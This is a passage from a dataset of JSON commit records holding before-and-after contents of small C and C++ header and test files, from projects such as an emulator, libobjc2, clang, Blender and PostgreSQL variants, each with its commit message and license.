X_SEMAPHORE\n","lang":"C","license":"bsd-3-clause","repos":"greg100795\/xenia,KitoHo\/xenia,TRex22\/xenia,bowlofstew\/xenia,DaTrollMon\/xenia,no1dead\/xenia,DaTrollMon\/xenia,Rhodan81\/xenia,TRex22\/xenia,toxic88\/xenia,KitoHo\/xenia,herman-rogers\/xenia,TingPing\/xenia,pwz3n0\/xenia,AbaiQi\/xenia,MorganBauer\/xenia,Drooids\/xenia,no1dead\/xenia,TRex22\/xenia,AbaiQi\/xenia,Rhodan81\/xenia,no1dead\/xenia,MorganBauer\/xenia,pwz3n0\/xenia,galek\/xenia,pwz3n0\/xenia,sephiroth99\/xenia,ObsidianGuardian\/xenia,toxic88\/xenia,Rhodan81\/xenia,wrren\/xenia,MorganBauer\/xenia,Rhodan81\/xenia,TingPing\/xenia,toxic88\/xenia,galek\/xenia,ObsidianGuardian\/xenia,no1dead\/xenia,bowlofstew\/xenia,bradparks\/xenia__xbox_emulator,Drooids\/xenia,greg100795\/xenia,bradparks\/xenia__xbox_emulator,bowlofstew\/xenia,AbaiQi\/xenia,toxic88\/xenia,galek\/xenia,TingPing\/xenia,Drooids\/xenia,sabretooth\/xenia,TingPing\/xenia,galek\/xenia,sephiroth99\/xenia,maxton\/xenia,greg100795\/xenia,bradparks\/xenia__xbox_emulator,DaTrollMon\/xenia,AbaiQi\/xenia,Drooids\/xenia,KitoHo\/xenia,sabretooth\/xenia,wrren\/xenia,sephiroth99\/xenia,wrren\/xenia,bowlofstew\/xenia,KitoHo\/xenia,bradparks\/xenia__xbox_emulator,herman-rogers\/xenia,pwz3n0\/xenia,maxton\/xenia,herman-rogers\/xenia,maxton\/xenia,MorganBauer\/xenia,sabretooth\/xenia,ObsidianGuardian\/xenia,greg100795\/xenia,herman-rogers\/xenia,wrren\/xenia,DaTrollMon\/xenia"}
{"commit":"ad34178a661c3ff2f0d3caa387b291fb72c49743","old_file":"src\/cpu\/register.h","new_file":"src\/cpu\/register.h","old_contents":"#pragma once\n\n#include \"..\/definitions.h\"\n\nclass ByteRegister {\npublic:\n    ByteRegister() {};\n\n    void set(const u8 new_value) { val = new_value; };\n    u8 value() const { return val; };\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    u8 val;\n};\n\nclass WordRegister {\npublic:\n    WordRegister() {};\n\n    void set(const u16 new_value) { val = new_value; };\n    u16 value() const { return val; };\n\n    u8 low() const;\n    u8 high() const;\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    u16 val;\n};\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& high, ByteRegister& low);\n\n    void set_low(const u8 byte);\n    void set_high(const u8 byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const u16 word);\n\n    u8 low() const;\n    u8 high() const;\n\n    u16 value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\nclass Offset {\npublic:\n    Offset(u8 val) : val(val) {};\n    Offset(ByteRegister& reg) : val(reg.value()) {};\n\n    u8 value() { return val; }\n\nprivate:\n    u8 val;\n};\n","new_contents":"#pragma once\n\n#include \"..\/definitions.h\"\n\nclass ByteRegister {\npublic:\n    ByteRegister() {}\n\n    void set(const u8 new_value) { val = new_value; }\n    u8 value() const { return val; }\n\n    void increment() { val += 1; }\n    void decrement() { val -= 1; }\n\nprivate:\n    u8 val;\n};\n\nclass WordRegister {\npublic:\n    WordRegister() {}\n\n    void set(const u16 new_value) { val = new_value; }\n    u16 value() const { return val; }\n\n    u8 low() const;\n    u8 high() const;\n\n    void increment() { val += 1; }\n    void decrement() { val -= 1; }\n\nprivate:\n    u16 val;\n};\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& high, ByteRegister& low);\n\n    void set_low(const u8 byte);\n    void set_high(const u8 byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const u16 word);\n\n    u8 low() const;\n    u8 high() const;\n\n    u16 value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\nclass Offset {\npublic:\n    Offset(u8 val) : val(val) {}\n    Offset(ByteRegister& reg) : val(reg.value()) {}\n\n    u8 value() { return val; }\n\nprivate:\n    u8 val;\n};\n","subject":"Remove unnecessary semicolon after method definitions","message":"Remove unnecessary semicolon after method definitions\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"086ad04698d337ba3b4505b320e97eb1c4360e84","old_file":"tests\/sarray_tests.c","new_file":"tests\/sarray_tests.c","old_contents":"#include \"minunit.h\"\n#include <lcthw\/sarray.h>\n\nchar *test_create_destroy()\n{\n    char test[] = \"abracadabra\";\n    char test2[] = \"acadabra\";\n    SuffixArray *sarry = SuffixArray_create(test, sizeof(test));\n    mu_assert(sarry, \"Failed to create.\");\n\n    int at = SuffixArray_find_suffix(sarry, test2, sizeof(test2));\n    mu_assert(at != -1, \"Failed to find the suffix.\");\n\n    at = SuffixArray_find_suffix(sarry, \"yo\", sizeof(\"yo\"));\n    mu_assert(at == -1, \"Should fail to find yo.\");\n\n    SuffixArray_destroy(sarry);\n\n    return NULL;\n}\n\n\n\nchar *all_tests() {\n    mu_suite_start();\n\n    mu_run_test(test_create_destroy);\n\n    return NULL;\n}\n\nRUN_TESTS(all_tests);\n\n","new_contents":"#include \"minunit.h\"\n#include <lcthw\/sarray.h>\n\nstatic SuffixArray *sarry = NULL;\nstatic char test[] = \"abracadabra\";\nstatic char test2[] = \"acadabra\";\n\nchar *test_create()\n{\n    sarry = SuffixArray_create(test, sizeof(test));\n    mu_assert(sarry, \"Failed to create.\");\n\n    return NULL;\n}\n\nchar *test_destroy()\n{\n    SuffixArray_destroy(sarry);\n\n    return NULL;\n}\n\nchar *test_find_suffix()\n{\n    int at = SuffixArray_find_suffix(sarry, test2, sizeof(test2));\n    mu_assert(at != -1, \"Failed to find the suffix.\");\n\n    at = SuffixArray_find_suffix(sarry, \"yo\", sizeof(\"yo\"));\n    mu_assert(at == -1, \"Should fail to find yo.\");\n\n    return NULL;\n}\n\n\n\nchar *all_tests() {\n    mu_suite_start();\n\n    mu_run_test(test_create);\n    mu_run_test(test_find_suffix);\n    mu_run_test(test_destroy);\n\n    return NULL;\n}\n\nRUN_TESTS(all_tests);\n\n","subject":"Clean up suffix array tests.","message":"Clean up suffix array tests.\n","lang":"C","license":"bsd-3-clause","repos":"HappyYang\/liblcthw,HappyYang\/liblcthw,HappyYang\/liblcthw"}
{"commit":"96de597b3c9491bb257526cb7ed817238c88916a","old_file":"string_hash.h","new_file":"string_hash.h","old_contents":"#include <string.h>\n#include <stdint.h>\n\n\/**\n * Efficient string hash function.\n *\/\nstatic uint32_t string_hash(const char *str)\n{\n\tuint32_t hash = 0;\n\tint32_t c;\n\twhile ((c = *str++))\n\t{\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\t}\n\treturn hash;\n}\n\n\/**\n * Test two strings for equality.\n *\/\nstatic int string_compare(const char *str1, const char *str2)\n{\n\tif (str1 == str2)\n\t{\n\t\treturn 1;\n\t}\n\tif (str2 == NULL) \n\t{\n\t\treturn 0;\n\t}\n\treturn strcmp(str1, str2) == 0;\n}\n","new_contents":"#include <string.h>\n#include <stdint.h>\n\n\/**\n * Efficient string hash function.\n *\/\n__attribute__((unused))\nstatic uint32_t string_hash(const char *str)\n{\n\tuint32_t hash = 0;\n\tint32_t c;\n\twhile ((c = *str++))\n\t{\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\t}\n\treturn hash;\n}\n\n\/**\n * Test two strings for equality.\n *\/\n__attribute__((unused))\nstatic int string_compare(const char *str1, const char *str2)\n{\n\tif (str1 == str2)\n\t{\n\t\treturn 1;\n\t}\n\tif (str2 == NULL) \n\t{\n\t\treturn 0;\n\t}\n\treturn strcmp(str1, str2) == 0;\n}\n","subject":"Mark string functions unused, in case the header is included in files that only use one of them.","message":"Mark string functions unused, in case the header is included in files that only use one of them.\n\n\n","lang":"C","license":"mit","repos":"darlinghq\/darling-libobjc2,davidchisnall\/libobjc2,ngrewe\/libobjc2,crystax\/android-vendor-libobjc2,gnustep\/libobjc2,davidchisnall\/libobjc2,gnustep\/libobjc2,crystax\/android-vendor-libobjc2,darlinghq\/darling-libobjc2,ngrewe\/libobjc2"}
{"commit":"82708729a24f9b77e500982013677d27db1b35d2","old_file":"cpp11_compliance.h","new_file":"cpp11_compliance.h","old_contents":"","new_contents":"#ifndef CPP11_FEATURES_H\n#define CPP11_FEATURES_H\n\n#if defined(_MSC_VER) && (_MSC_FULL_VER >= 170050727)\n\/\/ for (T t : collection) { }\n#define CPP11_FOR_EACH\n\/\/ enum class T {};\n#define CPP11_ENUM_CLASS\n#elif defined(__GNUC__) && (__GNUC__ >= 4) && (__GNUC_MINOR__ >= 6)\n#define CPP11_FOR_EACH\n#define CPP11_ENUM_CLASS\n#endif\n\n#endif \/\/ Include guard.","subject":"Add C++11 compliance check file.","message":"Add C++11 compliance check file.\n","lang":"C","license":"mit","repos":"commonquail\/efulauncher"}
{"commit":"d57f4614642ddd22e03f184f5fb430c42f2c4f68","old_file":"dev\/pci\/drm\/r600_blit_shaders.h","new_file":"dev\/pci\/drm\/r600_blit_shaders.h","old_contents":"\n#ifndef R600_BLIT_SHADERS_H\n#define R600_BLIT_SHADERS_H\n\nextern const u32 r6xx_ps[];\nextern const u32 r6xx_vs[];\nextern const u32 r7xx_default_state[];\nextern const u32 r6xx_default_state[];\n\n\nextern const u32 r6xx_ps_size, r6xx_vs_size;\nextern const u32 r6xx_default_size, r7xx_default_size;\n\n#endif\n","new_contents":"\/*\n * Copyright 2009 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * THE COPYRIGHT HOLDER(S) AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\n * Authors:\n *     Alex Deucher <alexander.deucher@amd.com>\n *\/\n#ifndef R600_BLIT_SHADERS_H\n#define R600_BLIT_SHADERS_H\n\nextern const u32 r6xx_ps[];\nextern const u32 r6xx_vs[];\nextern const u32 r7xx_default_state[];\nextern const u32 r6xx_default_state[];\n\n\nextern const u32 r6xx_ps_size, r6xx_vs_size;\nextern const u32 r6xx_default_size, r7xx_default_size;\n\n#endif\n","subject":"Add missing license (amd, mit\/x11)","message":"Add missing license (amd, mit\/x11)\n\narmani@ noticed that is was missing.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"afa170f2cfa7e84e99559d0f1b3ceafec9c75de0","old_file":"test\/Driver\/unknown-arg.c","new_file":"test\/Driver\/unknown-arg.c","old_contents":"\/\/ RUN: not %clang_cc1 %s -cake-is-lie -%0 -%d 2> %t.log\n\/\/ RUN: FileCheck %s -input-file=%t.log\n\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n","new_contents":"\/\/ RUN: not %clang_cc1 %s -cake-is-lie -%0 -%d 2> %t.log\n\/\/ RUN: FileCheck %s -input-file=%t.log\n\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\n\n\/\/ RUN: %clang -S %s -o %t.s -funknown-to-clang-option -Wunknown-to-clang-option -munknown-to-clang-optio\n\n\/\/ IGNORED: warning: argument unused during compilation: '-funknown-to-clang-option'\n\/\/ IGNORED: warning: argument unused during compilation: '-munknown-to-clang-option'\n\/\/ IGNORED: warning: unknown warning option '-Wunknown-to-clang-option'\n","subject":"Add tests on how clang currently handles some unknown options.","message":"Add tests on how clang currently handles some unknown options.\n\nThis is not to say this is the desired behavior, but it makes sure we notice\nif it changes.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@191242 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"621cbbae5dc02cf57527b5a6b67f06b5224536af","old_file":"templates\/template.h","new_file":"templates\/template.h","old_contents":"\/*\n * %FFILE%\n * Copyright (C) %YEAR% %USER% <%MAIL%>\n *\n * Distributed under terms of the %LICENSE% license.\n *\/\n\n#ifndef __%GUARD%__\n#define __%GUARD%__\n\n%HERE%\n\n#endif \/* !__%GUARD%__ *\/\n","new_contents":"\/*\n * %FFILE%\n * Copyright (C) %YEAR% %USER% <%MAIL%>\n *\n * Distributed under terms of the %LICENSE% license.\n *\/\n\n#ifndef %GUARD%\n#define %GUARD%\n\n%HERE%\n\n#endif \/* !%GUARD% *\/\n","subject":"Remove underscores from header guard","message":"Remove underscores from header guard\n","lang":"C","license":"bsd-2-clause","repos":"lmtim\/dotfile,JohnHwee\/dotfile,hacpai\/dotfile,lmtim\/dotfile,henry-zhuang\/dotfile"}
{"commit":"04d6348536a393439c36a7433c4fbf89c52ded32","old_file":"src\/qt\/clientmodel.h","new_file":"src\/qt\/clientmodel.h","old_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    \/\/ The only reason that this constructor takes a wallet is because\n    \/\/ the global client settings are stored in the main wallet.\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","new_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","subject":"Remove no longer valid comment","message":"Remove no longer valid comment\n","lang":"C","license":"mit","repos":"MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin,MidasPaymentLTD\/midascoin"}
{"commit":"0a39c49f370780025da6bf828bf66c1c1ab25131","old_file":"TASKS\/TASK_1\/sources\/vector3d.h","new_file":"TASKS\/TASK_1\/sources\/vector3d.h","old_contents":"#ifndef VECTOR_3D_H\n#define VECTOR_3D_H\n\n#include <math.h>\n\nnamespace classes {\n\tstruct Point3D {\n\t\tdouble x, y, z;\n\t};\n\n\ttypedef const char* err;\n\n\tclass Vector3D {\n\t\tstruct Cheshire;\n\t\tCheshire* smile;\n\n\t\tstatic const Point3D nullPoint;\n\t\tstatic unsigned int idCounter;\n\t\n\t\tpublic:\n\t\t\tVector3D(Point3D point = nullPoint);\n\t\t\tVector3D(double x, double y = 0.0, double z = 0.0);\n\t\t\t~Vector3D();\n\t\t\tdouble\t\t\tgetModule() const;\n\t\t\tvoid\t\t\tprint()\t\tconst;\n\t\t\tconst Point3D&\tgetPoint()\tconst;\n\t\t\tVector3D\t\tcopy()\t\tconst;\n\t\t\tvoid\t\t\tmultiplyByScalar(const double);\n\t\t\tvoid\t\t\tnormalize();\n\n\n\tstatic \tVector3D\tadd(Vector3D&, Vector3D&);\n\tstatic\tVector3D\tsubstract(Vector3D&, Vector3D&);\n\tstatic\tVector3D\tvectorMultiply(Vector3D&, Vector3D&) ;\n\tstatic\tdouble\t\tscalarMultiply(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tsin(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tcos(Vector3D&, Vector3D&);\n\tstatic\tdouble\t\tangle(Vector3D&, Vector3D&);\n\t};\n}\n\n#endif \/\/ VECTOR_3D_H\n","new_contents":"#ifndef VECTOR_3D_H\n#define VECTOR_3D_H\n\n#include <math.h>\n\nnamespace classes {\n\tstruct Point3D {\n\t\tdouble x, y, z;\n\t};\n\n\ttypedef const char* err;\n\n\tclass Vector3D {\n\t\tstruct Cheshire;\n\t\tCheshire* smile;\n\n\t\tstatic const Point3D nullPoint;\n\t\tstatic unsigned int idCounter;\n\t\n\t\tpublic:\n\t\t\tVector3D(Point3D point = nullPoint);\n\t\t\tVector3D(double x, double y = 0.0, double z = 0.0);\n\t\t\t~Vector3D();\n\t\t\tdouble\t\t\tgetModule() const;\n\t\t\tvoid\t\t\tprint()\t\tconst;\n\t\t\tconst Point3D&\tgetPoint()\tconst;\n\t\t\tVector3D\t\tcopy()\t\tconst;\n\t\t\tvoid\t\t\tmultiplyByScalar(const double);\n\t\t\tvoid\t\t\tnormalize();\n\n\t};\n\t\n\tnamespace VectorsManip {\n\t\tVector3D\tadd(Vector3D&, Vector3D&);\n\t\tVector3D\tsubstract(Vector3D&, Vector3D&);\n\t\tVector3D\tvectorMultiply(Vector3D&, Vector3D&) ;\n\t\tdouble\t\tscalarMultiply(Vector3D&, Vector3D&);\n\t\tdouble\t\tsin(Vector3D&, Vector3D&);\n\t\tdouble\t\tcos(Vector3D&, Vector3D&);\n\t\tdouble\t\tangle(Vector3D&, Vector3D&);\n\t}\n}\n\n#endif \/\/ VECTOR_3D_H\n","subject":"Move static methods outside of class","message":"Move static methods outside of class\n","lang":"C","license":"mit","repos":"reeFridge\/learn-oop-through-cpp"}
{"commit":"71601dd2f566d712033352dc6dc6595374e74434","old_file":"src\/util\/util_time.h","new_file":"src\/util\/util_time.h","old_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_TIME_H__\n#define __UTIL_TIME_H__\n\nCCL_NAMESPACE_BEGIN\n\n\/* Give current time in seconds in double precision, with good accuracy. *\/\n\ndouble time_dt();\n\n\/* Sleep for the specified number of seconds *\/\n\nvoid time_sleep(double t);\n\nclass scoped_timer {\npublic:\n\texplicit scoped_timer(double *value = NULL) : value_(value)\n\t{\n\t\ttime_start_ = time_dt();\n\t}\n\n\t~scoped_timer()\n\t{\n\t\tif(value_ != NULL) {\n\t\t\t*value_ = time_dt() - time_start_;\n\t\t}\n\t}\n\n\tdouble get_start() const\n\t{\n\t\treturn time_start_;\n\t}\n\nprotected:\n\tdouble *value_;\n\tdouble time_start_;\n};\n\nCCL_NAMESPACE_END\n\n#endif\n\n","new_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_TIME_H__\n#define __UTIL_TIME_H__\n\nCCL_NAMESPACE_BEGIN\n\n\/* Give current time in seconds in double precision, with good accuracy. *\/\n\ndouble time_dt();\n\n\/* Sleep for the specified number of seconds *\/\n\nvoid time_sleep(double t);\n\nclass scoped_timer {\npublic:\n\texplicit scoped_timer(double *value = NULL) : value_(value)\n\t{\n\t\ttime_start_ = time_dt();\n\t}\n\n\t~scoped_timer()\n\t{\n\t\tif(value_ != NULL) {\n\t\t\t*value_ = get_time();\n\t\t}\n\t}\n\n\tdouble get_start() const\n\t{\n\t\treturn time_start_;\n\t}\n\n\tdouble get_time() const\n\t{\n\t\treturn time_dt() - time_start_;\n\t}\n\nprotected:\n\tdouble *value_;\n\tdouble time_start_;\n};\n\nCCL_NAMESPACE_END\n\n#endif\n\n","subject":"Add utility function to query current value of scoped timer","message":"Add utility function to query current value of scoped timer\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird"}
{"commit":"ea567d2fad625aaa5163beb543ab5a1084103dab","old_file":"src\/include\/tcop\/variable.h","new_file":"src\/include\/tcop\/variable.h","old_contents":"\/*\n * Headers for handling of 'SET var TO', 'SHOW var' and 'RESET var'\n * statements\n *\n * $Id: variable.h,v 1.6 1997\/09\/08 02:39:21 momjian Exp $\n *\n *\/\n\nenum DateFormat\n{\n\tDate_Postgres, Date_SQL, Date_ISO\n};\n\n\/*-----------------------------------------------------------------------*\/\nstruct PGVariables\n{\n\tstruct\n\t{\n\t\tbool\t\teuro;\n\t\tenum DateFormat format;\n\t}\t\t\tdate;\n};\n\nextern struct PGVariables PGVariables;\n\n\/*-----------------------------------------------------------------------*\/\nbool\t\tSetPGVariable(const char *, const char *);\nbool\t\tGetPGVariable(const char *);\nbool\t\tResetPGVariable(const char *);\n","new_contents":"\/*\n * Headers for handling of 'SET var TO', 'SHOW var' and 'RESET var'\n * statements\n *\n * $Id: variable.h,v 1.7 1997\/11\/07 06:45:16 thomas Exp $\n *\n *\/\n#ifndef VARIABLE_H\n#define VARIABLE_H 1\n\nenum DateFormat\n{\n\tDate_Postgres, Date_SQL, Date_ISO\n};\n\n\/*-----------------------------------------------------------------------*\/\nstruct PGVariables\n{\n\tstruct\n\t{\n\t\tbool\t\teuro;\n\t\tenum DateFormat format;\n\t}\t\t\tdate;\n};\n\nextern struct PGVariables PGVariables;\n\n\/*-----------------------------------------------------------------------*\/\nbool\t\tSetPGVariable(const char *, const char *);\nbool\t\tGetPGVariable(const char *);\nbool\t\tResetPGVariable(const char *);\n\nextern bool set_date(void);\nextern bool show_date(void);\nextern bool reset_date(void);\nextern bool parse_date(const char *);\nextern bool set_timezone(void);\nextern bool show_timezone(void);\nextern bool reset_timezone(void);\nextern bool parse_timezone(const char *);\nextern bool set_cost_heap(void);\nextern bool show_cost_heap(void);\nextern bool reset_cost_heap(void);\nextern bool parse_cost_heap(const char *);\nextern bool set_cost_index(void);\nextern bool show_cost_index(void);\nextern bool reset_cost_index(void);\nextern bool parse_cost_index(const char *);\nextern bool set_r_plans(void);\nextern bool show_r_plans(void);\nextern bool reset_r_plans(void);\nextern bool parse_r_plans(const char *);\nextern bool set_geqo(void);\nextern bool show_geqo(void);\nextern bool reset_geqo(void);\nextern bool parse_geqo(const char *);\n\n#endif \/* VARIABLE_H *\/\n","subject":"Declare routines which support SET keyword = value SQL commands.","message":"Declare routines which support SET keyword = value SQL commands.\n","lang":"C","license":"apache-2.0","repos":"kaknikhil\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,edespino\/gpdb,adam8157\/gpdb,edespino\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,chrishajas\/gpdb,ashwinstar\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,chrishajas\/gpdb,foyzur\/gpdb,Postgres-XL\/Postgres-XL,50wu\/gpdb,Quikling\/gpdb,kmjungersen\/PostgresXL,royc1\/gpdb,foyzur\/gpdb,edespino\/gpdb,pavanvd\/postgres-xl,cjcjameson\/gpdb,snaga\/postgres-xl,ahachete\/gpdb,atris\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,edespino\/gpdb,Quikling\/gpdb,adam8157\/gpdb,tangp3\/gpdb,xuegang\/gpdb,50wu\/gpdb,royc1\/gpdb,snaga\/postgres-xl,0x0FFF\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,Chibin\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,xuegang\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,atris\/gpdb,rvs\/gpdb,Quikling\/gpdb,arcivanov\/postgres-xl,Quikling\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,randomtask1155\/gpdb,kaknikhil\/gpdb,50wu\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,lintzc\/gpdb,yuanzhao\/gpdb,atris\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,chrishajas\/gpdb,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,janebeckman\/gpdb,rubikloud\/gpdb,atris\/gpdb,xuegang\/gpdb,rvs\/gpdb,rubikloud\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,kmjungersen\/PostgresXL,chrishajas\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,atris\/gpdb,0x0FFF\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,zaksoup\/gpdb,edespino\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,edespino\/gpdb,atris\/gpdb,foyzur\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,yazun\/postgres-xl,xinzweb\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,postmind-net\/postgres-xl,jmcatamney\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,xuegang\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,zaksoup\/gpdb,randomtask1155\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,rvs\/gpdb,zeroae\/postgres-xl,lisakowen\/gpdb,yazun\/postgres-xl,lisakowen\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,snaga\/postgres-xl,jmcatamney\/gpdb,rubikloud\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,rubikloud\/gpdb,zaksoup\/gpdb,oberstet\/postgres-xl,z